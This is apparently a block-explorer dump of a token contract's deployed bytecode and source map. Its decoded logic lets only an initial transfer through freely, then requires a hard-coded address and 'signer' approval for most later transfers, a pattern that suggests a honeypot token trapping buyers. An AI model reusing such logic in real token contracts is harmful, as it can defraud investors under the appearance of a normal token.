f1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561057e57610482858585611076565b6001600a5f8282546104949190611853565b9250508190555060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104e1610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906118f6565b60405180910390fd5b6105748561056c610eac565b858403610eb3565b60019150506109d8565b7375ef059e045eb246762adc943d6b482842e18dbd73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036108ee576105f084611314565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561072d5761064a858585611076565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610690610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561070f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610706906118f6565b60405180910390fd5b6107238561071b610eac565b858403610eb3565b60019150506109d8565b600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8481526020019081526020015f205f9054906101000a900460ff16610800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f790611984565b60405180910390fd5b61080b858585611076565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610851610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c7906118f6565b60405180910390fd5b6108e4856108dc610eac565b858403610eb3565b60019150506109d8565b6108f9858585611076565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61093f610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b5906118f6565b60405180910390fd5b6109d2856109ca610eac565b858403610eb3565b60019150505b9392505050565b5f60055f9054906101000a900460ff16905090565b600b602052825f5260405f20602052815f5260405f20602052805f5260405f205f92509250509054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6006602052805f5260405f205f915054906101000a900460ff1681565b606060048054610a9a906117f6565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac6906117f6565b8015610b115780601f10610ae857610100808354040283529160200191610b11565b820191905f5260205f20905b815481529060010190602001808311610af457829003601f168201915b5050505050905090565b5f600c60019054906101000a900460ff168015610b3a57506001600a54105b8015610b94575060075f610b4c610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bcd57610bab610ba4610eac565b8484611076565b6001600a5f828254610bbd9190611853565b9250508190555060019050610dbc565b7375ef059e045eb246762adc943d6b482842e18dbd73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610da557610c3f83611314565b60075f610c4a610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610cb057610ca7610ca0610eac565b8484611076565b60019050610dbc565b600b5f610cbb610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8381526020019081526020015f205f9054906101000a900460ff16610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190611984565b60405180910390fd5b610d9c610d95610eac565b8484611076565b60019050610dbc565b610db7610db0610eac565b8484611076565b600190505b92915050565b600c5f9054906101000a900460ff1681565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c60019054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1890611a12565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8690611aa0565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611069919061169b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db90611b2e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990611bbc565b60405180910390fd5b61115d8383836114db565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790611c4a565b60405180910390fd5b81816111ec9190611c68565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112779190611853565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112db919061169b565b60405180910390a36001600a541061130e57600160095f8282546112ff9190611853565b925050819055505f600a819055505b50505050565b7375ef059e045eb246762adc943d6b482842e18dbd73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611381575f80fd5b600c5f9054906101000a900460ff1680156113e3575060075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114d857600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f60095481526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f600c5f6101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff0219169083151502179055505b50565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156115175780820151818401526020810190506114fc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61153c826114e0565b61154681856114ea565b93506115568185602086016114fa565b61155f81611522565b840191505092915050565b5f6020820190508181035f8301526115828184611532565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115b78261158e565b9050919050565b6115c7816115ad565b81146115d1575f80fd5b50565b5f813590506115e2816115be565b92915050565b5f819050919050565b6115fa816115e8565b8114611604575f80fd5b50565b5f81359050611615816115f1565b92915050565b5f80604083850312156116315761163061158a565b5b5f61163e858286016115d4565b925050602061164f85828601611607565b9150509250929050565b5f8115159050919050565b61166d81611659565b82525050565b5f6020820190506116865f830184611664565b92915050565b611695816115e8565b82525050565b5f6020820190506116ae5f83018461168c565b92915050565b5f805f606084860312156116cb576116ca61158a565b5b5f6116d8868287016115d4565b93505060206116e9868287016115d4565b92505060406116fa86828701611607565b9150509250925092565b5f60ff82169050919050565b61171981611704565b82525050565b5f6020820190506117325f830184611710565b92915050565b5f6020828403121561174d5761174c61158a565b5b5f61175a848285016115d4565b91505092915050565b61176c816115ad565b82525050565b5f6020820190506117855f830184611763565b92915050565b5f80604083850312156117a1576117a061158a565b5b5f6117ae858286016115d4565b92505060206117bf858286016115d4565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061180d57607f821691505b6020821081036118205761181f6117c9565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61185d826115e8565b9150611868836115e8565b92508282019050808211156118805761187f611826565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6118e06028836114ea565b91506118eb82611886565b604082019050919050565b5f6020820190508181035f83015261190d816118d4565b9050919050565b7f5472616e73666572206e6565647320746f20626520617070726f7665642062795f8201527f207369676e657273000000000000000000000000000000000000000000000000602082015250565b5f61196e6028836114ea565b915061197982611914565b604082019050919050565b5f6020820190508181035f83015261199b81611962565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119fc6024836114ea565b9150611a07826119a2565b604082019050919050565b5f6020820190508181035f830152611a29816119f0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a8a6022836114ea565b9150611a9582611a30565b604082019050919050565b5f6020820190508181035f830152611ab781611a7e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611b186025836114ea565b9150611b2382611abe565b604082019050919050565b5f6020820190508181035f830152611b4581611b0c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ba66023836114ea565b9150611bb182611b4c565b604082019050919050565b5f6020820190508181035f830152611bd381611b9a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611c346026836114ea565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b5f611c72826115e8565b9150611c7d836115e8565b9250828203905081811115611c9557611c94611826565b5b9291505056fea264697066735822122004f2db804bdd73321d08fafd5bbab8b5c30c0c61799366bb703483d59ff40b6164736f6c63430008150033
Deployed Bytecode Sourcemap
338:7738:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1956:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3613:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2257:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3781:2134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2158:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1036:81;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2364:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;667:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2055:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2490:965;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1124:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;632:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;713:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3463:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1172:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1956:91;2001:13;2034:5;2027:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1956:91;:::o;3613:160::-;3687:4;3704:39;3713:12;:10;:12::i;:::-;3727:7;3736:6;3704:8;:39::i;:::-;3761:4;3754:11;;3613:160;;;;:::o;2257:99::-;2309:7;2336:12;;2329:19;;2257:99;:::o;3781:2134::-;3878:4;3895:24;3934:20;;;;;;;;;;;:79;;;;;970:1;3958:23;;:55;3934:79;:103;;;;;4018:11;:19;4030:6;4018:19;;;;;;;;;;;;;;;;;;;;;;;;;4017:20;3934:103;3930:1978;;;4054:36;4064:6;4072:9;4083:6;4054:9;:36::i;:::-;4132:1;4105:23;;:28;;;;;;;:::i;:::-;;;;;;;;4169:11;:19;4181:6;4169:19;;;;;;;;;;;;;;;:33;4189:12;:10;:12::i;:::-;4169:33;;;;;;;;;;;;;;;;4150:52;;4245:6;4225:16;:26;;4217:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;4340:57;4349:6;4357:12;:10;:12::i;:::-;4390:6;4371:16;:25;4340:8;:57::i;:::-;4434:4;4427:11;;;;;3930:1978;4485:42;4460:68;;:13;;;;;;;;;;;:68;;;4456:1452;;4545:24;4559:9;4545:13;:24::i;:::-;4588:11;:19;4600:6;4588:19;;;;;;;;;;;;;;;;;;;;;;;;;4584:939;;;4628:36;4638:6;4646:9;4657:6;4628:9;:36::i;:::-;4704:11;:19;4716:6;4704:19;;;;;;;;;;;;;;;:33;4724:12;:10;:12::i;:::-;4704:33;;;;;;;;;;;;;;;;4685:52;;4784:6;4764:16;:26;;4756:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;4887:57;4896:6;4904:12;:10;:12::i;:::-;4937:6;4918:16;:25;4887:8;:57::i;:::-;4989:4;4982:11;;;;;4584:939;5042:9;:17;5052:6;5042:17;;;;;;;;;;;;;;;:28;5060:9;5042:28;;;;;;;;;;;;;;;:36;5071:6;5042:36;;;;;;;;;;;;;;;;;;;;;5034:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;5142:36;5152:6;5160:9;5171:6;5142:9;:36::i;:::-;5218:11;:19;5230:6;5218:19;;;;;;;;;;;;;;;:33;5238:12;:10;:12::i;:::-;5218:33;;;;;;;;;;;;;;;;5199:52;;5298:6;5278:16;:26;;5270:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5401:57;5410:6;5418:12;:10;:12::i;:::-;5451:6;5432:16;:25;5401:8;:57::i;:::-;5503:4;5496:11;;;;;4456:1452;5555:36;5565:6;5573:9;5584:6;5555:9;:36::i;:::-;5627:11;:19;5639:6;5627:19;;;;;;;;;;;;;;;:33;5647:12;:10;:12::i;:::-;5627:33;;;;;;;;;;;;;;;;5608:52;;5703:6;5683:16;:26;;5675:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5798:57;5807:6;5815:12;:10;:12::i;:::-;5848:6;5829:16;:25;5798:8;:57::i;:::-;5892:4;5885:11;;;3781:2134;;;;;;:::o;2158:91::-;2207:5;2232:9;;;;;;;;;;;2225:16;;2158:91;:::o;1036:81::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2364:118::-;2429:7;2456:9;:18;2466:7;2456:18;;;;;;;;;;;;;;;;2449:25;;2364:118;;;:::o;667:39::-;;;;;;;;;;;;;;;;;;;;;;:::o;2055:95::-;2102:13;2135:7;2128:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2055:95;:::o;2490:965::-;2567:4;2588:20;;;;;;;;;;;:79;;;;;970:1;2612:23;;:55;2588:79;:109;;;;;2672:11;:25;2684:12;:10;:12::i;:::-;2672:25;;;;;;;;;;;;;;;;;;;;;;;;;2671:26;2588:109;2584:864;;;2714:42;2724:12;:10;:12::i;:::-;2738:9;2749:6;2714:9;:42::i;:::-;2798:1;2771:23;;:28;;;;;;;:::i;:::-;;;;;;;;2821:4;2814:11;;;;2584:864;2872:42;2847:68;;:13;;;;;;;;;;;:68;;;2843:605;;2932:24;2946:9;2932:13;:24::i;:::-;2975:11;:25;2987:12;:10;:12::i;:::-;2975:25;;;;;;;;;;;;;;;;;;;;;;;;;2971:365;;;3021:42;3031:12;:10;:12::i;:::-;3045:9;3056:6;3021:9;:42::i;:::-;3089:4;3082:11;;;;2971:365;3142:9;:23;3152:12;:10;:12::i;:::-;3142:23;;;;;;;;;;;;;;;:34;3166:9;3142:34;;;;;;;;;;;;;;;:42;3177:6;3142:42;;;;;;;;;;;;;;;;;;;;;3134:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;3248:42;3258:12;:10;:12::i;:::-;3272:9;3283:6;3248:9;:42::i;:::-;3316:4;3309:11;;;;2843:605;3368:42;3378:12;:10;:12::i;:::-;3392:9;3403:6;3368:9;:42::i;:::-;3432:4;3425:11;;2490:965;;;;;:::o;1124:41::-;;;;;;;;;;;;;:::o;632:28::-;;;;;;;;;;;;;:::o;713:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;3463:142::-;3543:7;3570:11;:18;3582:5;3570:18;;;;;;;;;;;;;;;:27;3589:7;3570:27;;;;;;;;;;;;;;;;3563:34;;3463:142;;;;:::o;1172:40::-;;;;;;;;;;;;;:::o;94:115::-;147:15;190:10;175:26;;94:115;:::o;7460:346::-;7579:1;7562:19;;:5;:19;;;7554:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7660:1;7641:21;;:7;:21;;;7633:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7744:6;7714:11;:18;7726:5;7714:18;;;;;;;;;;;;;;;:27;7733:7;7714:27;;;;;;;;;;;;;;;:36;;;;7782:7;7766:32;;7775:5;7766:32;;;7791:6;7766:32;;;;;;:::i;:::-;;;;;;;;7460:346;;;:::o;6342:764::-;6466:1;6448:20;;:6;:20;;;6440:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6550:1;6529:23;;:9;:23;;;6521:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6605:47;6626:6;6634:9;6645:6;6605:20;:47::i;:::-;6665:21;6689:9;:17;6699:6;6689:17;;;;;;;;;;;;;;;;6665:41;;6742:6;6725:13;:23;;6717:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6838:6;6822:13;:22;;;;:::i;:::-;6802:9;:17;6812:6;6802:17;;;;;;;;;;;;;;;:42;;;;6879:6;6855:9;:20;6865:9;6855:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6920:9;6903:35;;6912:6;6903:35;;;6931:6;6903:35;;;;;;:::i;:::-;;;;;;;;970:1;6955:23;;:56;6951:148;;7044:1;7028:12;;:17;;;;;;;:::i;:::-;;;;;;;;7086:1;7060:23;:27;;;;6951:148;6429:677;6342:764;;;:::o;5923:411::-;6018:42;5993:68;;:13;;;;;;;;;;;:68;;;5985:77;;;;;;6077:22;;;;;;;;;;;:49;;;;;6104:11;:22;6116:9;6104:22;;;;;;;;;;;;;;;;;;;;;;;;;6103:23;6077:49;6073:254;;;6168:4;6143:11;:22;6155:9;6143:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;6224:4;6187:9;:23;6197:12;;6187:23;;;;;;;;;;;:34;6211:9;6187:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;6268:5;6243:22;;:30;;;;;;;;;;;;;;;;;;6311:4;6288:20;;:27;;;;;;;;;;;;;;;;;;6073:254;5923:411;:::o;7814:91::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:191;6758:3;6777:20;6795:1;6777:20;:::i;:::-;6772:25;;6811:20;6829:1;6811:20;:::i;:::-;6806:25;;6854:1;6851;6847:9;6840:16;;6875:3;6872:1;6869:10;6866:36;;;6882:18;;:::i;:::-;6866:36;6718:191;;;;:::o;6915:227::-;7055:34;7051:1;7043:6;7039:14;7032:58;7124:10;7119:2;7111:6;7107:15;7100:35;6915:227;:::o;7148:366::-;7290:3;7311:67;7375:2;7370:3;7311:67;:::i;:::-;7304:74;;7387:93;7476:3;7387:93;:::i;:::-;7505:2;7500:3;7496:12;7489:19;;7148:366;;;:::o;7520:419::-;7686:4;7724:2;7713:9;7709:18;7701:26;;7773:9;7767:4;7763:20;7759:1;7748:9;7744:17;7737:47;7801:131;7927:4;7801:131;:::i;:::-;7793:139;;7520:419;;;:::o;7945:227::-;8085:34;8081:1;8073:6;8069:14;8062:58;8154:10;8149:2;8141:6;8137:15;8130:35;7945:227;:::o;8178:366::-;8320:3;8341:67;8405:2;8400:3;8341:67;:::i;:::-;8334:74;;8417:93;8506:3;8417:93;:::i;:::-;8535:2;8530:3;8526:12;8519:19;;8178:366;;;:::o;8550:419::-;8716:4;8754:2;8743:9;8739:18;8731:26;;8803:9;8797:4;8793:20;8789:1;8778:9;8774:17;8767:47;8831:131;8957:4;8831:131;:::i;:::-;8823:139;;8550:419;;;:::o;8975:223::-;9115:34;9111:1;9103:6;9099:14;9092:58;9184:6;9179:2;9171:6;9167:15;9160:31;8975:223;:::o;9204:366::-;9346:3;9367:67;9431:2;9426:3;9367:67;:::i;:::-;9360:74;;9443:93;9532:3;9443:93;:::i;:::-;9561:2;9556:3;9552:12;9545:19;;9204:366;;;:::o;9576:419::-;9742:4;9780:2;9769:9;9765:18;9757:26;;9829:9;9823:4;9819:20;9815:1;9804:9;9800:17;9793:47;9857:131;9983:4;9857:131;:::i;:::-;9849:139;;9576:419;;;:::o;10001:221::-;10141:34;10137:1;10129:6;10125:14;10118:58;10210:4;10205:2;10197:6;10193:15;10186:29;10001:221;:::o;10228:366::-;10370:3;10391:67;10455:2;10450:3;10391:67;:::i;:::-;10384:74;;10467:93;10556:3;10467:93;:::i;:::-;10585:2;10580:3;10576:12;10569:19;;10228:366;;;:::o;10600:419::-;10766:4;10804:2;10793:9;10789:18;10781:26;;10853:9;10847:4;10843:20;10839:1;10828:9;10824:17;10817:47;10881:131;11007:4;10881:131;:::i;:::-;10873:139;;10600:419;;;:::o;11025:224::-;11165:34;11161:1;11153:6;11149:14;11142:58;11234:7;11229:2;11221:6;11217:15;11210:32;11025:224;:::o;11255:366::-;11397:3;11418:67;11482:2;11477:3;11418:67;:::i;:::-;11411:74;;11494:93;11583:3;11494:93;:::i;:::-;11612:2;11607:3;11603:12;11596:19;;11255:366;;;:::o;11627:419::-;11793:4;11831:2;11820:9;11816:18;11808:26;;11880:9;11874:4;11870:20;11866:1;11855:9;11851:17;11844:47;11908:131;12034:4;11908:131;:::i;:::-;11900:139;;11627:419;;;:::o;12052:222::-;12192:34;12188:1;12180:6;12176:14;12169:58;12261:5;12256:2;12248:6;12244:15;12237:30;12052:222;:::o;12280:366::-;12422:3;12443:67;12507:2;12502:3;12443:67;:::i;:::-;12436:74;;12519:93;12608:3;12519:93;:::i;:::-;12637:2;12632:3;12628:12;12621:19;;12280:366;;;:::o;12652:419::-;12818:4;12856:2;12845:9;12841:18;12833:26;;12905:9;12899:4;12895:20;12891:1;12880:9;12876:17;12869:47;12933:131;13059:4;12933:131;:::i;:::-;12925:139;;12652:419;;;:::o;13077:225::-;13217:34;13213:1;13205:6;13201:14;13194:58;13286:8;13281:2;13273:6;13269:15;13262:33;13077:225;:::o;13308:366::-;13450:3;13471:67;